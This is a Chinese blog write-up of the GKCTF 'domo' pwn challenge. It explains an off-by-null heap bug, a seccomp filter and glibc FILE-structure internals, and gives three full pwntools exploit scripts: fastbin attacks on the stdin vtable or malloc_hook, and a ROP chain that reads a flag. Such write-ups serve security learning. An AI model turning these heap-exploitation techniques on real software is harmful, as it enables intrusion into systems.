目录
  1. 1. domo
    1. 1.1. 利用思路
    2. 1.2. exp
    3. 1.3. 其他思路
    4. 1.4. exp2
    5. 1.5. exp3
GKCTF pwn writeup

domo

一道 domo日了一天,最后还是做出来,还是很高兴的

off-by-null漏洞,edit功能有任意地址一字节写入,可以用来伪造堆块的size,malloc_fookfree_hook程序做有限制,然后又有sanbox。但是是在main函数结束的时候才生效的,只要在while循环里面调用onegadget,还是能反弹shell的

1
2
3
4
5
6
7
8
9
10
11
12
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x04 0xffffffff if (A != 0xffffffff) goto 0009
0005: 0x15 0x03 0x00 0x0000000a if (A == mprotect) goto 0009
0006: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0009
0007: 0x15 0x01 0x00 0xffffd8b6 if (A == 0xffffd8b6) goto 0009
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0009: 0x06 0x00 0x00 0x00000000 return KILL

一开始的思路是想用 environ来泄露 stack_addr然后再申请堆块到栈上用orw的方式来做

然后费了好大的劲,泄露出stack的地址了,stack上没有合适的size而且还有麻烦的canary

最后选择伪造 _IO_2_1_stdin_vtable为heap地址,heap里面存放着onegadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
pwndbg> p stdin
$1 = (struct _IO_FILE *) 0x7f991f79b8e0 <_IO_2_1_stdin_>
pwndbg> p *(struct _IO_FILE_plus *) 0x7f991f79b8e0
$2 = {
file = {
_flags = -72539512,
_IO_read_ptr = 0x557376e64010 "96\n\n95634794904\n",
_IO_read_end = 0x557376e64010 "96\n\n95634794904\n",
_IO_read_base = 0x557376e64010 "96\n\n95634794904\n",
_IO_write_base = 0x557376e64010 "96\n\n95634794904\n",
_IO_write_ptr = 0x557376e64010 "96\n\n95634794904\n",
_IO_write_end = 0x557376e64010 "96\n\n95634794904\n",
_IO_buf_base = 0x557376e64010 "96\n\n95634794904\n",
_IO_buf_end = 0x557376e65010 "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 16,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x7f991f79d790 <_IO_stdfile_0_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7f991f79b9c0 <_IO_wide_data_0>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 113,
_mode = -1,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7f991f79a6e0 <_IO_file_jumps>
}

实际上是伪造 _IO_file_jumps结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> p _IO_file_jumps
$3 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x7f991f4509c0 <_IO_new_file_finish>,
__overflow = 0x7f991f451730 <_IO_new_file_overflow>,
__underflow = 0x7f991f4514a0 <_IO_new_file_underflow>,
__uflow = 0x7f991f452600 <__GI__IO_default_uflow>,
__pbackfail = 0x7f991f453980 <__GI__IO_default_pbackfail>,
__xsputn = 0x7f991f4501e0 <_IO_new_file_xsputn>,
__xsgetn = 0x7f991f44fec0 <__GI__IO_file_xsgetn>,
__seekoff = 0x7f991f44f4c0 <_IO_new_file_seekoff>,
__seekpos = 0x7f991f452a00 <_IO_default_seekpos>,
__setbuf = 0x7f991f44f430 <_IO_new_file_setbuf>,
__sync = 0x7f991f44f370 <_IO_new_file_sync>,
__doallocate = 0x7f991f444180 <__GI__IO_file_doallocate>,
__read = 0x7f991f4501a0 <__GI__IO_file_read>,
__write = 0x7f991f44fb70 <_IO_new_file_write>,
__seek = 0x7f991f44f970 <__GI__IO_file_seek>,
__close = 0x7f991f44f340 <__GI__IO_file_close>,
__stat = 0x7f991f44fb60 <__GI__IO_file_stat>,
__showmanyc = 0x7f991f453af0 <_IO_default_showmanyc>,
__imbue = 0x7f991f453b00 <_IO_default_imbue>
}

利用思路

先利用unsortedbin_attack泄露出libc基址和heap地址

然后 off-by-null溢出修改下一个堆块的 size 为 \x00使得他被修改为释放过的

通过布局,unlink使得堆块向前合并,造成堆块重叠,fastbin_attackvtable,需要用edit功能提前伪造size。

_IO_file_jumps里面全放onegadget然后劫持程序执行流 ,生效的是__xsputn这里的onegadget

看下puts函数的具体实现

代码来自:glibc/libio/ioputs.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int
_IO_puts (const char *str)
{
int result = EOF;
size_t len = strlen (str);
_IO_acquire_lock (stdout);

if ((_IO_vtable_offset (stdout) != 0
|| _IO_fwide (stdout, -1) == -1)
&& _IO_sputn (stdout, str, len) == len
&& _IO_putc_unlocked ('\n', stdout) != EOF)
result = MIN (INT_MAX, len + 1);

_IO_release_lock (stdout);
return result;
}

可以看到这里实际上是调用了_IO_sputn这个函数,当然这个_IO_sputn实际上就是一个宏,调用了_IO_2_1_stdout_的vtable中的__xsputn,也就是_IO_new_file_xsputn函数。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
context.log_level = 'debug'
pwn_name = "domo"
arch = '64'
version = '2.23'
ip, port = 'node3.buuoj.cn',29246
#context.terminal = ['tmux', 'splitw', '-h']
#context(os='linux', arch='amd64')
if sys.argv[1]=="l":
p=process('./'+pwn_name)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
else:
p=remote(ip,port)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)

elf=ELF(pwn_name,checksec=False)

def get_one():
if(arch == '64'):
if(version == '2.23'):
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
if (version == '2.27'):
one = [0x4f2c5 , 0x4f322 , 0x10a38c]
return one

def sym(func):
success('{} => {:#x}'.format(func , libc.sym[func]))
return libc.sym[func]

def info(con,leak):
success('{} => {:#x}'.format(con,leak))

def dbg(address=0):
if address==0:
gdb.attach(p)
pause()
else:
if address > 0xfffff:
script="b *{:#x}\nc\n".format(address)
else:
script="b *$rebase({:#x})\nc\n".format(address)
gdb.attach(p, script)

one = get_one()

#---------------heap-------------
def chioce(idx):
p.sendlineafter("> ",str(idx))
def add(size,data):
chioce(1)
p.sendlineafter("\n",str(size))
p.sendafter("\n",data)

def free(index):
chioce(2)
p.sendlineafter("\n",str(index))

def edit(index, data):
chioce(4)
p.sendlineafter("\n",str(index))
p.sendafter("\n",data)

def show(index):
chioce(3)
p.recvuntil('\n')
p.sendline(str(index))

add(0x100,'\x12'*8)#0
add(0x68,'\x13'*0x60 + p64(0x110 + 0x70))#1
add(0x110,p64(0x21)*32)#2

add(0x90,'\x15'*8)#3
add(0x68,"\x16"*0x60 + p64(0x110 + 0x70))#4
add(0x110,p64(0x21)*32)#5
#---------------leak libc heap addr--------------------
free(0)
free(3)
add(0x100,"a"*8)#0
add(0x90,'\x15'*8)#3

show(0)
leak=u64(p.recvuntil('\x0a')[-7:-1].ljust(8,'\x00'))
heap=leak-0x55b3d7aa52b0+0x55b3d7aa5010
info("leak",leak)
info("heap",heap)

show(3)
leak=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc.address=leak-0x7f2534dafb78+0x7f25349eb000
info("leak",leak)
info("libc",libc.address)

environ=libc.sym["environ"]
_IO_list_all=libc.address+0x7f97b2172520-0x7f97b1dad000
io_stdin_vtable=libc.address+0x7f07aec479b0-0x7f07ae883000
info("environ",environ)
info("io_stdin_vtable",io_stdin_vtable)
pause()
#------------------- unlink-------------
free(0)
free(1)
add(0x68,'\x13'*0x60 + p64(0x110 + 0x70))#1
free(2)

#------------------fastbin attack + fake vtable-------

free(0)
add(0x120,'\x12'*0x100+p64(0x110)+p64(0x70)+p64(io_stdin_vtable-0x20)) #1
edit(io_stdin_vtable-0x18,"\x71")
payload=p64(0)*2+p64(one[2]+libc.address)*19+p64(0)*3
add(0x100,payload)
add(0x60,"\x17"*8) #
add(0x60,p64(0xffffffff)+"\x00"*0x10+p64(heap+0x140)) #2
#dbg()
p.interactive()

'''
free(0)
add(0x120,'\x12'*0x100+p64(0x110)+p64(0x70)+p64(io_sdtout-0x43)) #1
add(0x68,"\x17"*0x10) #
payload='\x01'*0x33+p64(0xfbad1800)+p64(0)*3+p64(environ)+p64(environ+0x8)+ p64(environ+0x8)

add(0x68,payload) #2
dbg()
leak=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
rbp=leak-0x7ffc34284dd8+0x7ffc34284ce0
info("leak",leak)
info("rbp",rbp)

'''

其他思路

赛后看了官方的writeup,预期解跟我刚开始的思路差不多,只不过攻击方式不同

他是先修改_IO_2_1_stdout_来实现泄露stack地址,

接着改写 _IO_2_1_stdin_来实现向stack上写ROP链

有一些细节,需要注意到。修改 _IO_2_1_stdout_泄露出栈地址后,puts函数输出的字符不会加换行符了

具体原因还不清楚,有知道的师傅可以交流一波

exp2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
context.log_level = 'debug'
pwn_name = "domo"
arch = '64'
version = '2.23'
ip, port = 'node3.buuoj.cn', 29246
#context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='amd64')
if sys.argv[1]=="l":
p=process('./'+pwn_name)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
else:
p=remote(ip,port)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)

elf=ELF(pwn_name,checksec=False)

def get_one():
if(arch == '64'):
if(version == '2.23'):
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
if (version == '2.27'):
one = [0x4f2c5 , 0x4f322 , 0x10a38c]
return one

def info(con,leak):
success('{} => {:#x}'.format(con,leak))

def dbg(address=0):
if address==0:
gdb.attach(p)
pause()
else:
if address > 0xfffff:
script="b *{:#x}\nc\n".format(address)
else:
script="b *$rebase({:#x})\nc\n".format(address)
gdb.attach(p, script)

one = get_one()

#---------------heap-------------
def chioce(idx):
p.sendlineafter("> ",str(idx))
def add(size,data):
chioce(1)
p.sendlineafter("\n",str(size))
p.sendafter("\n",data)

def add2(size,data):
chioce(1)
p.sendlineafter(":",str(size))
p.sendafter(":",data)

def free(index):
chioce(2)
p.sendlineafter("\n",str(index))

def free2(index):
chioce(2)
p.sendlineafter(":",str(index))

def edit(index, data):
chioce(4)
p.sendlineafter(":",str(index))
p.sendafter(":",data)

def show(index):
chioce(3)
p.recvuntil('\n')
p.sendline(str(index))

#-----------leak heap----------------
add(0x18, "A") #0
add(0x18, "A") #1
free(0)
free(1)
add(0x18, "\x10") #0
show(0)
heap_addr=u64 (p.recv(6).ljust(8,"\x00"))
info("heap_addr",heap_addr)
free (0)

#------------------leak libc----------------
add(0x100, "A"* 0x100) #0
add(0x100, 'b'* 0x100) #1
add(0x68, 'c' *0x68) #2
add(0x68, 'd' *0x68) #3
add(0x100, 'e'*56+p64(0x71)+'e'*176+ p64(0x100) +p64(0x21))#4
add(0x68,p64 (0x21) *2)#5
free(2)
free(3)
free(0)

add(0x68,"\x11"*0x60+p64(0x300)) #3
free(4)
add(0x100,'flag'.ljust(8,'\x00')+'\x22'*0x58) #0
show(1)

main_arena=u64(p.recv(6).ljust(8,"\x00"))
libc.address=main_arena-0x3c4b78
environ_addr=libc.symbols["environ"]
stdout_hook=libc.symbols["_IO_2_1_stdout_"]
stdin_hook=libc.symbols["_IO_2_1_stdin_"]
_IO_file_jumps=libc.symbols["_IO_file_jumps"]

#-----------leak stack_addr--------------

payload="A"*0x100
payload += p64(0) + p64(0x71)
payload+=p64(stdout_hook-0x43)
add(0x118,payload) #1
add(0x68,'a') #2

payload=p64(0)*5+'\x00'*3+p64(_IO_file_jumps)+p64(0xfbad1800)+p64(stdout_hook+131)*3
payload+=p64(environ_addr)+p64(environ_addr+8)
print "len=",hex(len(payload))

add(0x68,payload) #6
stack_addr=u64(p.recv(6).ljust(8,'\x00'))-0xf2
info("stack_addr",stack_addr)

#--------Write orw to stack----------

add2(0xf8,p64(0)*11+p64(0x71)) #4
free2(0)
free2(4)
add2(0x68,p64(0)+p64(0x111)) #7
free2(7)
add2(0x108,p64(0)*11+p64(0x71)+p64(stdin_hook-0x28))
add2(0x68,'flag')

pop_rdi_ret=libc.search(asm("pop rdi\nret")).next()
pop_rsi_ret=libc.search(asm("pop rsi\nret")).next()
pop_rdx_ret=libc.search(asm("pop rdx\nret")).next()

open_addr=libc.symbols["open"]
read_addr=libc.symbols["read"]
puts_addr=libc.symbols["write"]

orw=p64(pop_rdi_ret)+p64(heap_addr+0x50)+p64(pop_rsi_ret)+p64(72)+p64(open_addr)
orw+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(heap_addr+0x12a8)+p64(pop_rdx_ret)+p64(0x30)+p64(read_addr)
orw+=p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(heap_addr+0x12a8)+p64(pop_rdx_ret)+p64(0x100)+p64(puts_addr)

payload=p64(0)+p64(libc.symbols["_IO_file_jumps"])+p64(0)+ p64(0xfbad1800)+p64(0)*6+p64(stack_addr)+p64(stack_addr+0x100)

info("heap_addr",heap_addr)
info("stack_addr",stack_addr)

edit(stdin_hook-0x20,'\x7f')
add2(0x68,payload)
#dbg()
p.sendlineafter("> ","5\n"+orw)
p.interactive()

exp3

还有另一种非预期思路,打malloc_hook,然后利用scanf函数输入过多字符,会调用malloc申请内存

这里onegadget都失效了,用realloc调整偏移即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
context.log_level = 'debug'
pwn_name = "domo"
arch = '64'
version = '2.23'
ip, port = 'node3.buuoj.cn',29246
#context.terminal = ['tmux', 'splitw', '-h']
#context(os='linux', arch='amd64')
if sys.argv[1]=="l":
p=process('./'+pwn_name)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
else:
p=remote(ip,port)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)

elf=ELF(pwn_name,checksec=False)

def get_one():
if(arch == '64'):
if(version == '2.23'):
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
if (version == '2.27'):
one = [0x4f2c5 , 0x4f322 , 0x10a38c]
return one

def sym(func):
success('{} => {:#x}'.format(func , libc.sym[func]))
return libc.sym[func]

def info(con,leak):
success('{} => {:#x}'.format(con,leak))

def dbg(address=0):
if address==0:
gdb.attach(p)
pause()
else:
if address > 0xfffff:
script="b *{:#x}\nc\n".format(address)
else:
script="b *$rebase({:#x})\nc\n".format(address)
gdb.attach(p, script)

one = get_one()

#---------------heap-------------
def chioce(idx):
p.sendlineafter("> ",str(idx))
def add(size,data):
chioce(1)
p.sendlineafter("\n",str(size))
p.sendafter("\n",data)

def free(index):
chioce(2)
p.sendlineafter("\n",str(index))

def edit(index, data):
chioce(4)
p.sendlineafter("\n",str(index))
p.sendafter("\n",data)

def show(index):
chioce(3)
p.recvuntil('\n')
p.sendline(str(index))


add(0x100,'\x12'*8)#0
add(0x68,'\x13'*0x60 + p64(0x110 + 0x70))#1
add(0x110,p64(0x21)*32)#2

add(0x90,'\x15'*8)#3
add(0x68,"\x16"*0x60 + p64(0x110 + 0x70))#4
add(0x110,p64(0x21)*32)#5
#---------------leak libc heap addr--------------------
free(0)
free(3)
add(0x100,"a"*8)#0
add(0x90,'\x15'*8)#3

show(0)
leak=u64(p.recvuntil('\x0a')[-7:-1].ljust(8,'\x00'))
heap=leak-0x55b3d7aa52b0+0x55b3d7aa5010
info("leak",leak)
info("heap",heap)


show(3)
leak=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc.address=leak-0x7f2534dafb78+0x7f25349eb000

info("leak",leak)
info("libc",libc.address)

#------------------- unlink-------------
free(0)
free(1)
add(0x68,'\x13'*0x60 + p64(0x110 + 0x70))#1
free(2)

#------------------fastbin attack + malloc_hook-------

free(0)
add(0x120,'\x12'*0x100+p64(0x110)+p64(0x70)+p64(libc.sym['__malloc_hook']-0x23)) #1

add(0x60,"\x17"*8) #
malloc_hook_payload2='b'*0xb+p64(one[2]+libc.address)+p64(sym("realloc")+13)
add(0x60,malloc_hook_payload2) #2
#dbg(0x12D7)

p.sendlineafter("> ",'0'*0x100)
p.interactive()
文章作者: nocbtm
文章链接: https://nocbtm.github.io/2020/05/24/GKCTF-pwn-writeup/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 nocbtm's Blog
打赏
  • 微信
  • 支付宝